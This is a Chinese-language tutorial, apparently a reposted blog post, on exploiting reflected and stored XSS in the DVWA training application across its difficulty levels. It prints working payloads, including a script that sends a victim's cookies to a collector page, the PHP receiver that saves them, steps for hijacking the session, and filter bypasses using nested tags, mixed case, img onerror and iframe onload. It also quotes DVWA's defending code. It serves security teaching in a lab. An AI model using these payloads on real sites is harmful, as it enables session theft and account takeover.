1.4 DVWA親測XSS漏洞


首先需要有配置好的DVWA環境,像下圖這樣
 

其中:     

XSS (DOM) :  DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

 XSS (Stored) :  存儲型XSS漏洞


 
我們先來看XSS(Reflected): 反射型的XSS漏洞
 
首先,我們選擇LOW等級
XSS (Reflected) :
點擊出現如圖所示
我們先來輸入  xss  ,點擊確定

我們接着來輸入<xss> ,點擊確定

這時發現插入html標簽的話,頁面會發生變化,我們嘗試js彈窗

我們繼續輸入 <script>alert('xss')</script>,點擊確定

這時說明這個網站可以進行XSS攻擊,我們輸入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ,就可以得到要攻擊的人cookie信息

  攻擊過程總結:
 1.攻擊者的web設計用來接收cookie,如下:
<?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie) ?>
 
2.構造並發送攻擊url:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
注意:<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要進行
URLlencode的編碼,否則不會攻擊成功
 
3.得到cookie后,我們訪問login.php 登陸頁面,使用firebug里面的cookies,來編輯cookies
 

4.完成后,我們直接訪問index.php,發現我們已經已被攻擊者的身份登陸,可以趕我們想干的事情了


 
接下來我們選擇Medium等級的XSS
XSS (Reflected) :
點擊出現如圖所示

我們先來輸入<script>alert('xss')</script>  ,點擊確定

 
發現已經失效,無法正常彈窗,<script>標簽被過濾了,不過我們也有方法
1. <scri<script>pt>  應為過濾程序只會過濾一次,嵌套可以完美繞過。
輸入<scr<script>ipt>alert('xss')</script>   

2.   <ScRiPt>   大小寫混合繞過

輸入 <ScRiPt >ipt>alert('xss')</ScRiPt >
 
 
接下來我們選擇High等級的XSS
XSS (Reflected) :
點擊出現如圖所示

我們先來輸入<script>alert('xss')</script>  ,點擊確定

 
我們嘗試嵌套,大小寫,發現都是失效的
 
但是能夠插入xss代碼的標簽並不只是<script>,
還有<img>標簽,同樣也可以
 
輸入 <img src=x onerror=alert('xss')>,點擊確定
 

 

onerror事件會在文檔或圖像加載過程中發生錯誤時被觸發
應為src=x本事就是一個錯誤代碼,所以觸發事件執行
 
還有<iframe>標簽同樣可以:
輸入 <iframe onload=alert('xss')>,點擊確定
 

 

<iframe>標簽可以在一個html代碼中嵌入另一個html內容
onload 是js的一個事件,事件會在頁面加載完成后,立即發生,同時執行被調用的程序。
注意:1. 加載頁面時,觸發onload事件

 
接下來我們選擇Impossible等級的XSS,當然這個等級是絕對安全的
XSS (Reflected) :
點擊出現如圖所示

我們先來輸入<script>alert('xss')</script>  ,點擊確定

 

發現代碼原封不動的輸出出來了,我們通過fire bug 查看元素

 
 
htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體
我們輸入的符號都被轉義了,使他們喪失了功能
 
查看后台代碼
<?php // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token
generateSessionToken(); ?>
 
原來是htmlspecialchars()這個函數把符號給編碼了
 

 
接下來讓我們來看XSS(Stored): 存儲型XSS漏洞

首先,我們選擇LOW等級
點擊出現如圖所示

是留言板性質的

我們先來嘗試輸入

發現輸入不完整,估計是后台的輸入框限制了長度

先查看源代碼

果然不出所料

然后我們用火狐瀏覽器上的Tamper date 進行抓包改包
點擊發送就可以成功繞過
或者我們可以用你黑客最常用的工具 burpsuite 就進行抓包:

然后改包:

 
 結果 :
 這樣就簡簡單單突破限制

 
下面我們進入Middem等級
點擊確定后

我們發現name中還是限制了字數,但在Low等級中我們已經列出解決辦法,這里不再贅述

我們在Message表格中寫入<script>alert('xss')</script>,發現如下圖

發現<script>標簽被過濾,此處我們也已經列出過解決辦法,也不再贅述

抓包改包,用大小寫混合的方法就可以成功繞過
 
我們看一下源代碼:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input
    $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
    $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?                 mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input
    $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

 

這代碼不可謂不精細,message防注入做的很棒
 
addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。
htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體
 

接下來我們進入High等級

 點擊確定后

我們在Message處嘗試輸入<script>alert('xss')</script>

我們又遇到了meddiem的問題:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input
    $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
    $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>
發現name已經完全過濾了<script>,區分大小寫,以前的方法都失效了
這時我們采取新辦法,我們在name中輸入  <img src=x onerror=alert('xss')>
發現成功繞過
 

接下來我們進入不可能注入的impossible等級

這時我們先來看代碼

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
    $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
    $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input
    $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token
generateSessionToken(); ?>
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM